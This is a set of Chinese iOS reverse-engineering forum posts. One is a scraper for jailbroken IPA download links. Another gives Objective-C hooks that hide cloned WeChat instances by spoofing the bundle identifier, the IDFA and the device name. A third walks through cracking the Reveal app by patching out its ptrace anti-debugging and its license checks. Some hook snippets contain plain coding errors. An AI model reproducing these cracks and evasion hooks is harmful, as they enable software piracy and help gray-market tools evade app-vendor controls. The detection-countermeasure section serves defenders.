过滤出详情网页地址 https://www.25pp.com/ios/detail_1571646/
4、进入详情界面,通过关键字“下载越狱版”找到红框所在的网页源码
<a href="javascript:void(0);" class="btn-install-x" apptype="app" data-id="1571646" data-iid="938688461" appname="小米运动" appversion="3.3.1" appdownurl="aHR0cDovL3IxMS4yNXBwLmNvbS9zb2Z0LzIwMTgvMDMvMjgvMjAxODAzMjhfMTI5NjhfMjE4OTgwMDUwOTgzLmlwYQ==" closetimer="-1" onclick="return ppOneKeySetup(this)" data-stat-act="jb" data-stat-pos="install">下载越狱版</a>
5、通过
appdownurl
及 点击事件处理ppOneKeySetup
,找到pp_onekey-d17d98b4.js
中的关键代码:(C = h.href, E = h.getAttribute("appdownurl"), E && E.length > 0 && (C = o.base64decode(o.utf8to16(E)))
可见js只是对传入的appdownurl作了简单的base64解码,转化后得到真实的下载地址:
http://r11.25pp.com/soft/2018/03/28/20180328_12968_218980050983.ipa
为方便获取下载地址,将上面的步骤用Python3实现:
import urllib.request import urllib.parse import re import ssl import base64 #关闭SSL验证 user_agent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)' headers = { 'User-Agent' : user_agent } ssl._create_default_https_context = ssl._create_unverified_context print("Close certificate verify...") def getSearchResult(): keyword = input("Input the search key word: ") #将中文转换成url编码 keyword = urllib.parse.quote(keyword) searchUrl = "https://www.25pp.com/ios/search_app_0/" + keyword + "/" content = getHtmlStringByUrl(searchUrl) detailUrl = getSearchDetailUrl(content) content = getHtmlStringByUrl(detailUrl) downUrl = getAppdownUrlByHtmlContent(content) return downUrl # 根据url 获取网页内容 def getHtmlStringByUrl(url): try: request = urllib.request.Request(url, headers=headers) response = urllib.request.urlopen(request) content = response.read().decode('utf-8') # gbk return content except urllib.request.URLError as e: if hasattr(e, "code"): print(e.code) if hasattr(e, "reason"): print(e.reason) return "" # 根据网页内容获取详情链接 def getSearchDetailUrl(content): pattern = re.compile('href="https://www.25pp.com/ios/detail_.*?"', re.S) #href = "https://www.25pp.com/ios/detail_3491226/" items = re.findall(pattern, content) for item in items: #print(item) values = item.split('"') result = values[1] print("Detail url: " + result) return result return "" # 根据网页内容获取ipa的下载链接 def getAppdownUrlByHtmlContent(content): pattern = re.compile('appdownurl=".*?"', re.S) # appdownurl="aHR0cDovL3IxMS4yNXBwLmNvbS9zb2Z0LzIwMTgvMDEvMDkvMjAxODAxMDlfNjI0NThfMjE1MDYwOTY4Nzc4LmlwYQ==" items = re.findall(pattern, content) for item in items: values = item.split('"') result = values[1] print("Orgin download url: " + result) # Base64Decode output = base64.standard_b64decode(result) output = output.__str__() return output return "" downUrl = getSearchResult() print("Down url: " + downUrl)
Posts: 2
Participants: 2
@jzbb99 wrote:
throw new Error(“unrecognized selector 函数名:参数名: sent to object 0x00000000”) /*
objc_msgSend@[native code] */
创建对象之后,调用函数,任何一个函数都报错~!求解?
Posts: 2
Participants: 2
@Magic_Unique wrote:
前言
随着 iOS 逆向门槛越来越低,国内灰产也越来越多。自动抢红包则成为了 iOS 逆向入门级项目,GitHub 上也出现了技术水平参差不齐的微信插件的 Repo。而这些插件,往往都是基于一个多开微信。
写这篇文章最主要的目的还是提醒部分厂商,加强 App 安全防护意识,减少灰产的可乘之机。
如何多开
在 iOS 设备上安装多个同一个 App 的方式只有一种,修改 Info.plist 中的
CFBundleIdentifier
。在整个 iOS 生态中,Bundle Identifier 是作为一个 App 的唯一标识符存在。
对于拥有相同的 Bundle Identifier 的 App,无论 Binary 和资源文件都多大的差异,iOS 都会将它们视为同一个 App。
对于拥有不同的 Bundle Identifier 的 App,也无论 Binary 与和资源文件是否一致,iOS 会将它们视为不同 App。
而 Info.plist 文件,是整个 App 的信息、配置、权限的信息整合文件,其在 App 中起到至关重要的作用。
为了防止 Info.plist 被恶意篡改,iOS 提供一种数字签名技术。通过该技术,计算出 Info.plist 文件的 Hash 值,加密后存入到签名文件中。在安装时与安装后,可通过该签名文件存的 Hash 值进行文件签名校验。也因此,App 签名后无法修改 Info.plist 文件;而即使是已安装 App 的 Info.plist 文件,修改后也会导致 App 闪退。
所以可以得出结论,对于已安装的 App 的 Info.plist 文件的 CFBundleIdentifier 值不会被修改
如何检测多开
通过上述结论,由于 Info.plist 文件的不可修改性质,我们可以在 App 运行时来读取 Info.plist 文件中的值来判断该值是否与出产时候相同,从而判断当前进程是否是一个多开 App。
Foundation.framework
提供了几种获取 App 的 Bundle Identifier 方法,基本如下:NSBundle.mainBundle.bundleIdentifier; [NSBundle.mainBundle objectForInfoDictionaryKey:@"CFBundleIdentifier"]; NSBundle.mainBundle.infoDictionary[@"CFBundleIdentifier"]; [NSDictioanry dictionaryWithContentsOfFile:@"Info.plist"][@"CFBundleIdentifier"]
使用上面几种的任意一种,就可以获取到当前 App 的 Bundle Identifier 值,之后通过
-[NSString isEqualToString:]
方法来判断是否分身。如何反检测多开
在已经知道如何检测多开的时候,就可以知道如何防止 App 检测多开了。
简单的来说,就是干掉上面的几个方法,强制返回一个原来的值即可。
1. 检测不到多开
具体思路是判断返回值是不是真实的 Bundle Identifier,如果是则返回原来的 Bundle Identifier。这样做的目的防止影响到别的对象以及别的 key 对应的值。
由于
NSDictionary
的特殊性质,通过 key 获取 value 的方式有多种,这几种方法也需要被干掉:info[@"CFBundleIdentifier"]; // -[NSDictionary objectForKeyedSubscript:] [info objectForKey:@"CFBundleIdentifier"]; [info valueForKey:@"CFBundleIdentifier"];
在此安利一个我自己写的比较轻量级的非越狱平台 hook 工具——MUHook。仿照 Captain Hook 写的宏集合,同时比 Captain Hook 更加方便快捷,也无需 CydiaSubstrate.dylib。(功能还在完善中)
以微信为例,代码如下:
/* * 假设当前分身的 Bundle Identifier 值为 com.unique.xin */ #import <Foundation/Foundation.h> #define CFBundleIdentifier @"CFBundleIdentifier" #define ORIG_VALUE @"com.tencent.xin" #define REAL_VALUE @"com.unique.xin" /* * 这里干掉了 -[NSBundle bundleIdentifier] 方法 */ MUHInstanceImplementation(NSBundle, bundleIdentifier, NSString *) { NSString *orig = MUHOrig(NSBundle, bundleIdentifier); if ([orig isEqualToString:REAL_VALUE]) { orig = ORIG_VALUE; } return orig; } /* * 这里干掉了 -[NSBundle objectForInfoDictionaryKey:] 方法 * * MUHInstanceImplementation 注释:定义一个 Hook 的实现体 * 第一个参数是要 Hook 的类 * 第二个参数是自己取的方法名,会在下面的 MUHMain 和 MUHOrig 用到,与实际方法名可以不一致,但是要保证唯一性 * 第三个参数是返回值类型 * 第四个参数以及之后的参数是 Hook 方法的实际参数表。 * * 如果你要 Hook 一个 Class Method 比如 +[UIImage imageNamed] * 请使用 MUHClassImplementation,具体用法同上 */ MUHInstanceImplementation(NSBundle, objForInfoKey, id, NSString *key) { /* * MUHOrig 注释:调用原方法 * 第一个参数是原方法的类 * 第二个参数是自己取的方法名 * 第三个参数以及之后的参数是传入的实际参数 */ NSString *orig = MUHOrig(NSBundle, objForInfoKey, key); if ([key isKindOfClass:[NSString class]]) { if ([key isEqualToString:CFBundleIdentifier]) { if ([orig isEqualToString:REAL_VALUE]) { orig = ORIG_VALUE; } } } return orig; } MUHInstanceImplementation(NSBundle, infoDictionary, NSDictionary *) { NSMutableDictionary *info = [MUHOrig(NSBundle, infoDictionary) mutableCopy]; if (self == NSBundle.mainBundle) { info[CFBundleIdentifier] = REAL_VALUE; } return [info copy]; } MUHInstanceImplementation(NSDictionary, objectForKey, id, NSString *key) { id orig = MUHOrig(NSDictionary, objectForKey, key); if ([key isKindOfClass:[NSString class]]) { if ([key isEqualToString:CFBundleIdentifier]) { if ([orig isEqualToString:REAL_VALUE]) { id = ORIG_VALUE; } } } return orig } MUHInstanceImplementation(NSDictionary, valueForKey, id, NSString *key) { id orig = MUHOrig(NSDictionary, valueForKey, key); if ([key isKindOfClass:[NSString class]]) { if ([key isEqualToString:CFBundleIdentifier]) { if ([orig isEqualToString:REAL_VALUE]) { id = ORIG_VALUE; } } } return orig } MUHInstanceImplementation(NSDictionary, objectForKeyedSubscript, id, NSString *key) { id orig = MUHOrig(NSDictionary, objectForKeyedSubscript, key); if ([key isKindOfClass:[NSString class]]) { if ([key isEqualToString:CFBundleIdentifier]) { if ([orig isEqualToString:REAL_VALUE]) { id = ORIG_VALUE; } } } return orig } /* * MUHMain 注释:定义一个拥有 constructor 属性的函数。 * 当 dyld 加载此二进制文件到内存中的时候会自动调用此函数,完成运行前的 hook 工作 */ void MUHMain() { /* * MUHHookInstanceMessage 注释:让上面定义的某个 Instance Hook 实现体生效 * 第一个参数是上面实现体的类 * 第二个参数是上面实现体自己取的方法名 * 第三个参数是对应的 SEL * * 如果要让一个 Class Hook 生效,可以使用 * MUHHookClassMessage() * 使用方式同上 */ MUHHookInstanceMessage(NSBundle, bundleIdentifier, bundleIdentifier); MUHHookInstanceMessage(NSBundle, infoDictionary, infoDictionary); MUHHookInstanceMessage(NSBundle, objectForInfoDictionaryKey, objectForInfoDictionaryKey:); MUHHookInstanceMessage(NSDictionary, objectForKey, objectForKey:); MUHHookInstanceMessage(NSDictionary, valueForKey, valueForKey:); MUHHookInstanceMessage(NSDictionary, objectForKeyedSubscript, objectForKeyedSubscript:); }
同时,微信也可以通过 IDFA、DeviceName 来判断是否是同一台设备登录不同的微信,所以以下两个方法也要被干掉:
#import <UIKit/UIKit.h> #import <AdSupport/AdSupport.h> MUHInstanceImplementation(ASIdentifierManager, advertisingIdentifier, NSUUID *) { NSString *idfa = [userDefaults stringForKey:@"com.unique.idfa"]; if(!idfa) { idfa = [NSUUID UUID].UUIDString; [userDefaults setObject:idfa forKey:@"com.unique.idfa"]; [userDefaults synchronize]; } NSUUID *udid = [[NSUUID alloc] initWithUUIDString:idfa]; return udid; } /* * 强制返回一个不容易被怀疑的大众型名字 */ MUHInstanceImplementation(UIDevice, name, NSString *) { return @"iPhone"; } void MUHMain() { MUHHookInstanceMessage(ASIdentifierManager, advertisingIdentifier, advertisingIdentifier); MUHHookInstanceMessage(UIDevice, name, name); }
2. 只让微信检测不到多开
写到这里,基本上对 NSBundle 的调用都被干掉了。但是这里面存在着一个潜在的问题。
在 App 运行时,除微信主二进制文件外,随着被加载到内存中的二进制还有:微信内置 Framework,微信所用到的系统 Framework,插件自身 dylib。
而我们并不能保证系统 Framework 是否会调用、何时会调用 NSBundle 相关方法。如果系统 Framework 调用了相关方法,得到了假的 Bundle ID,则有可能出现无法预计的问题,甚至是出现了也找不到问题的bug。所以我们必须保证如果是系统调用的方法,要返回真实的 Bundle ID。
同时,如果插件自身想要获取 Bundle ID,也应该要返回一个真实的 Bundle ID。
于是提出需求:如果是微信调用的方法,返回假值,否则返回真值。
我们可以通过 dyld 的
dladdr()
函数配合当前调用栈地址来判断调用者来自哪个二进制文件。具体代码如下:#include <dlfcn.h> BOOL MUIsCallFromWeChat() { NSArray *address = [NSThread callStackReturnAddresses]; Dl_info info = {0}; if(dladdr((void *)[address[2] longLongValue], &info) == 0) return NO; NSString *path = [NSString stringWithUTF8String:info.dli_fname]; if ([path hasPrefix:NSBundle.mainBundle.bundlePath]) { // 二进制来自 ipa 包内 if ([path.lastPathComponent isEqualToString:@"MyPlugin.dylib"]) { // 二进制是插件本身 return NO; } else { // 二进制是微信 return YES; } } else { // 二进制是系统或者越狱插件 return NO; } } // 以 -[NSBundle bundleIdentifier] 为例,其余自己扩展 MUHInstanceImplementation(NSBundle, bundleIdentifier, NSString *) { NSString *orig = MUHOrig(NSBundle, bundleIdentifier); if (MUIsCallFromWeChat() == NO) { return orig; } if ([orig isEqualToString:REAL_VALUE]) { orig = ORIG_VALUE; } return orig; }
如何反反检测多开
1. 使用 CoreFoundation 检测(不一定靠谱)
与
Foundation
相对应,CoreFoundation
也有一套关于CFBundleRef
操作的 C 语言 API。大部分的厂商一般都使用NSBundle
来获取 Bundle ID。所以可以通过这一套 C 语言 API 来获取 CFBundleIdentifier 继而判断是否多开。但由于这一套毕竟是苹果公开的 API,插件依旧可以使用 fishhook 来完成 C 函数的 hook。所以个人认为这种方法并不是完全靠谱。
2. 使用 Appex、Watch 检测(不一定靠谱)
由于 iOS 规定,所有 PlugIn 和 Watch App 的 Bundle ID 的前缀必须和 mainBundle 的 Bundle ID 一致,所以如果多开的 App 改了 mainBundle 的 Bundle ID,同时也要修改 PlugIns 和 Watch App 的 Bundle ID。
也因此可以通过获取 PlugIn 和 Watch App 的 Bundle ID 来判断 mainBundle 是否被修改过。
但是一般的微信插件都会删除 PlugIns 和 Watch 文件夹,所以这个方法也不是很靠谱。
3. 使用 FILE + 加密 + 混淆 检测(我认为靠谱)
是否多开最终还是判断 Info.plist 文件中的
CFBundleIdentifier
值是否被修改。上述获取该值的方法都是通过大家都知道的苹果提供的 API 来获取。实际上可以自己实现一套获取方法,绕过耳熟能详的 API,再进行一些字符串加密以及代码混淆即可实现更加安全的多开检测方式。#define EncryptStr(str) str // 加密算法 #define DecryptStr(str) str // 解密算法 static BOOL ZheBuShiYiGeDuoKaiJianCe() int result = 1; NSString *filePath = [NSBundle.mainBundle.bundlePath stringByAppendingPathComponent:DecryptStr(@"此处写死加密的Info.plist"]; NSDictionary *dictionary = [NSDictionary dictionaryWithContentsOfFile:filePath]; filePath = [NSTemporaryDirectory() stringByAppendingPathComponent:@"temp.txt"]; [dictionary writeToFile:filePath atomically:YES]; // 不知道为什么 Demo 中的 Info.plist 不能直接 UTF8 来读取,必须经过字典 read write 后才能读。 // 这里可能会有漏洞,可以直接 hook -[NSDictionary dictionaryWithContentsOfFile:] // 但是为什么直接读会出来乱码我也不太清楚,有大神知道的话可以指导我一下。 unsigned long long size = [NSFileManager.defaultManager attributesOfItemAtPath:filePath error:nil].fileSize; FILE *file = fopen(filePath.UTF8String, "r"); if (file != NULL) { char *content = malloc(size + 1);memset(content, 0, size + 1); fread(content, size, sizeof(char), file); char *beginIndex = strstr(content, DecryptStr("此处写死加密的CFBundleIdentifier")); beginIndex = strstr(beginIndex, DecryptStr("此处写死加密的<string>")) + 8; if (beginIndex != NULL) { char *endIndex = strstr(beginIndex, DecryptStr("此处写死加密的</string>")); if (endIndex != NULL) { unsigned long bidsize = endIndex - beginIndex; char *endbid = malloc(bidsize + 1);memset(content, 0, bidsize + 1); strlcpy(endbid, beginIndex, bidsize + 1); result = strcmp(EncryptStr(endbid),"此处写死加密的BundleID"); // 此处直接比较加密的 BundleID,因为 strcmp 也可能会被 hook。 free(endbid); } } free(content); beginIndex = content = NULL; fclose(file); } printf("%d\n", result); return result == 0; }
Posts: 2
Participants: 2
@Tu-tu-tu wrote:
首先,直接运行Reveal发现它弹出了这个弹框。
看到这个页面,这是一个app启动时的页面,一般是写到类下的applicationWillFinishLaunching方法里边。
我们打开Hopper Disassembler然后把Reveal拖入,等待它分析完后。
发现调用了ptrace函数,那我们就先对ptrace函数做下处理。
处理的时候,可以参考https://www.chenghu.me/?p=1350这篇文章,把ptrace函数的传参1F修改为0A。
改完之后,我们就可以使用Hopper Disassembler的动态调试功能,或者Interface Inspector的界面调试。
首先,去找我们之前猜测的applicationWillFinishLaunching方法。
发现调用了 sub_10000e010(self) 这个子程序。
跟过去发现有两处调用了sub_10000e010这个子程序
猜测这就是弹框的地方,直接在sub_10000e010这个子程序的头部retn,然后跑起来。
发现之前的弹窗果然没有了。
但是有了新的问题,点菜单栏和退出的时候会闪退(异常退出)。
通过动态调试发现,它会执行ud2这个命令。
百度一下这个指令:
UD2是一种让CPU产生invalid opcode exception的软件指令. 内核发现CPU出现这个异常, 会立即停止运行.
void sub_100192ff0(int arg0) { var_C0 = r13; var_50 = arg0; *0x1004d5798 = *0x1004d5798 + 0x1; *0x1004d57b0 = *0x1004d57b0 + 0x1; if (*0x1004bab68 != 0xffffffffffffffff) { swift_once(0x1004bab68, sub_100208920); } *0x1004d57b8 = *0x1004d57b8 + 0x1; r14 = sub_100023780(); sub_100008a80(); r15 = sub_100208980(r14, sub_100208920); if (r15 != 0x0) { rbx = sub_100010860(); sub_100008a70(); if (rbx != 0x0) { *0x1004d57c0 = *0x1004d57c0 + 0x1; *0x1004d57c8 = *0x1004d57c8 + 0x1; r14 = var_50; [r14 retain]; if (*(int8_t *)(rbx + 0x30) == 0x0) { *0x1004d57d0 = *0x1004d57d0 + 0x1; swift_unknownRetain(r15); rbx = sub_1000251e0(); swift_unknownRelease(r15); if ((rbx & 0x1) != 0x0) { swift_unknownRelease(r15); [r14 release]; *0x1004d57a0 = *0x1004d57a0 + 0x1; rbx = 0x0; } else { *0x1004d57d8 = *0x1004d57d8 + 0x1; swift_unknownRetain(r15); *0x1004d57e0 = *0x1004d57e0 + 0x1; *0x1004d57e8 = *0x1004d57e8 + 0x1; rbx = [sub_1002df34d() retain]; rdx = *0x1004bef18; if (rdx == 0x0) { rdx = sub_100008a10(); *0x1004bef18 = rdx; } r12 = static (rbx, type metadata for Swift.String); sub_1001656b0(r12, type metadata for Swift.String, rdx); xmm0 = intrinsic_movaps(xmm0, var_200); var_210 = intrinsic_movaps(var_210, xmm0); var_68 = var_1F0; rbx = var_1E8; xmm0 = intrinsic_movaps(xmm0, var_1E0); var_220 = intrinsic_movaps(var_220, xmm0); var_78 = var_1D0; r13 = var_1C8; xmm0 = intrinsic_movaps(xmm0, var_1C0); var_230 = intrinsic_movaps(var_230, xmm0); var_80 = var_1B0; r14 = var_1A8; var_90 = var_1A0; var_29 = var_198; xmm0 = intrinsic_movaps(xmm0, var_190); var_240 = intrinsic_movaps(var_240, xmm0); var_98 = var_180; var_2A = var_178; xmm0 = intrinsic_movaps(xmm0, var_170); var_250 = intrinsic_movaps(var_250, xmm0); var_A0 = var_160; var_2B = var_158; var_2C = var_148; var_2D = var_138; xmm0 = intrinsic_movaps(xmm0, var_130); var_260 = intrinsic_movaps(var_260, xmm0); var_2E = var_118; xmm0 = intrinsic_movaps(xmm0, var_110); var_270 = intrinsic_movaps(var_270, xmm0); var_2F = var_F8; var_30 = var_F7; var_31 = var_F6; var_32 = var_E8; var_40 = var_D8; var_48 = var_C8; var_58 = var_150; var_60 = var_140; var_70 = var_120; var_88 = var_100; var_A8 = var_F0; var_B0 = var_E0; var_B8 = var_D0; if (r12 >= 0x0) { sub_100008a70(); } else { swift_unknownRelease(r12 & 0x7fffffffffffffff); } xmm0 = intrinsic_movaps(xmm0, var_210); var_3B0 = intrinsic_movaps(var_3B0, xmm0); intrinsic_movaps(var_390, intrinsic_movaps(xmm0, var_220)); intrinsic_movaps(var_370, intrinsic_movaps(xmm0, var_230)); intrinsic_movaps(var_340, intrinsic_movaps(xmm0, var_240)); intrinsic_movaps(var_320, intrinsic_movaps(xmm0, var_250)); intrinsic_movaps(var_2E0, intrinsic_movaps(xmm0, var_260)); intrinsic_movaps(var_2C0, intrinsic_movaps(xmm0, var_270)); sub_1000d2370(&var_3B0); xmm0 = intrinsic_movaps(xmm0, var_200); xmm1 = intrinsic_movaps(xmm1, var_1F0); intrinsic_movaps(xmm2, var_1E0); intrinsic_movaps(xmm3, var_1D0); intrinsic_movaps(xmm4, var_1C0); intrinsic_movaps(xmm5, var_1B0); intrinsic_movaps(xmm6, var_1A0); intrinsic_movaps(xmm7, var_190); intrinsic_movaps(xmm8, var_180); intrinsic_movaps(xmm9, var_170); var_460 = intrinsic_movaps(var_460, xmm0); intrinsic_movaps(var_450, xmm1); intrinsic_movaps(var_440, xmm2); intrinsic_movaps(var_430, xmm3); intrinsic_movaps(var_420, xmm4); intrinsic_movaps(var_410, xmm5); intrinsic_movaps(var_400, xmm6); intrinsic_movaps(var_3F0, xmm7); intrinsic_movaps(var_3E0, xmm8); intrinsic_movaps(var_3D0, xmm9); sub_100052670(&var_460); rax = sub_1000165c0(&var_200, var_1E8); rcx = *(*(var_1E8 + 0xfffffffffffffff8) + 0x88) + 0xf; (*(*(var_1E8 + 0xfffffffffffffff8) + 0x30))(rsp - (rcx & 0xfffffffffffffff0), rax, var_1E8, rcx & 0xfffffffffffffff0); r13 = (*var_1E0)(var_1E8, var_1E0); (*(*(var_1E8 + 0xfffffffffffffff8) + 0x20))(rsp - (rcx & 0xfffffffffffffff0), var_1E8); sub_1000108a0(&var_200); rbx = var_50; [rbx release]; swift_unknownRelease_n(r15, 0x2); if ((r13 & 0x1) == 0x0) { rax = [rbx action]; rbx = 0x1; if ((rax != 0x0) && ((ObjectiveC.== infix(rax, @selector(openNewDocumentWindowAndInspectDemoApp:)) & 0x1) != 0x0)) { *0x1004d57a8 = *0x1004d57a8 + 0x1; r14 = sub_10000de70(); if (r14 != 0x0) { rbx = ObjectiveC._convertObjCBoolToBool([r14 sampleApplicationIsLaunching] & 0xff); [r14 release]; rbx = rbx ^ 0x1; } else { rbx = 0x0; } } } else { *0x1004d57a0 = *0x1004d57a0 + 0x1; rbx = 0x0; } } } else { swift_unknownRelease(r15); [r14 release]; *0x1004d57a0 = *0x1004d57a0 + 0x1; rbx = 0x0; } } else { swift_unknownRelease(r15); asm { ud2 }; loc_1001936d4(); } } else { sub_100008a70(); asm { ud2 }; loc_1001936ca(rdi); } return; }
看到了unknownRelease这种关键字,估摸着这软件可能校验什么自己不正常后自己调用ud2指令直接异常。
发现调用这些校验的也是菜单的东西,于是我直接把这个校验子程序的首部retn掉。
发现还有一堆这样的校验子程序,基本上每个菜单下边都有这种检测的调用。全部retn掉,不让它执行异常,然后就可以正常的打开和使用了。
Posts: 16
Participants: 7